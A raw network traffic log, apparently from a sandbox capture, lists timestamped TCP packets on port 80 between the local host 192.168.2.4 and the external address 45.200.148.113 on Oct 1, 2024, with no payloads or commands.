Oct 1, 2024 07:51:17.335092068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335104942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335114956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335127115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335133076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335169077 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335326910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335339069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335350990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335360050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335369110 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335401058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335480928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335493088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335504055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335515022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335515976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335546970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335575104 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335681915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335692883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335704088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335715055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335721016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335741997 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335766077 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335938931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335949898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335961103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335969925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335978031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335982084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335992098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.335999966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336003065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336014032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336025000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336033106 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336077929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336092949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336205006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336244106 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336266041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336276054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336302996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336323023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336484909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336496115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336505890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336513996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336522102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336525917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336536884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336541891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336548090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336558104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336560011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336568117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336580038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336591005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336594105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336606026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336610079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336616039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336627007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336632967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336637020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.336662054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.336678982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.337186098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337198019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337207079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337218046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337228060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337228060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.337238073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337249994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337255955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.337260008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337270975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337276936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.337281942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337296009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337299109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.337305069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337313890 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.337316036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337327957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337327957 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.337362051 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.337924957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337935925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337945938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337959051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337966919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.337970018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337980986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337990999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.337999105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338000059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338011980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338022947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338030100 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338032961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338043928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338053942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338064909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338064909 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338088036 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338100910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338665009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338675976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338686943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338697910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338707924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338709116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338720083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338730097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338747025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338752031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338757038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338768005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338778973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338784933 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338788986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338803053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338804007 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338815928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338818073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338829041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338839054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338844061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338850021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338860989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338871002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.338881969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338901997 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.338918924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.339636087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339648008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339658022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339668036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339678049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339680910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.339689016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339699984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339699984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.339709044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339720011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339730978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339735031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.339741945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339751005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.339752913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339764118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339771986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.339773893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339785099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339791059 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.339796066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339807034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339816093 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.339817047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.339860916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.339876890 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.423744917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423768997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423780918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423793077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423804045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423814058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423824072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.423851013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423862934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423872948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.423878908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423891068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.423894882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.423916101 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.423943043 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424045086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424055099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424065113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424082994 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424113035 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424252033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424262047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424273014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424283981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424292088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424293995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424304962 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424315929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424323082 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424326897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424340010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424366951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424537897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424547911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424559116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424568892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424586058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424601078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424727917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424737930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424748898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424760103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424760103 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424770117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424782038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424787045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424817085 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.424973011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424983978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.424998999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425009966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425030947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425065994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425076008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425086021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425096035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425096989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425106049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425112009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425117016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425127029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425128937 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425137997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425158978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425173998 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425517082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425528049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425539017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425550938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425554037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425568104 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425597906 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425761938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425772905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425782919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425791979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425792933 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425802946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425808907 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425812960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425823927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425834894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425837040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425846100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425857067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425867081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.425868034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425889969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.425905943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.426321983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426332951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426342964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426353931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426363945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426368952 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.426373959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426384926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426394939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426395893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.426407099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426415920 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.426417112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426429033 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.426429987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426440954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426450968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426460981 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.426461935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426472902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426484108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.426485062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.426502943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.426517963 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427140951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427151918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427162886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427172899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427182913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427187920 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427195072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427205086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427218914 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427220106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427232027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427239895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427242041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427253962 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427256107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427263975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427274942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427284956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427285910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427295923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427315950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427330971 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427890062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427906990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427917004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427927017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427937984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427939892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427947998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427958965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427968025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427969933 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427978992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427987099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.427989006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.427999020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428004980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.428009987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428020000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428030968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428033113 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.428040981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428056955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428061962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.428066969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428076982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.428077936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428088903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428106070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.428158045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.428664923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428677082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428687096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428698063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.428705931 CEST	49732	80	192.168.2.4	45.200.148.113
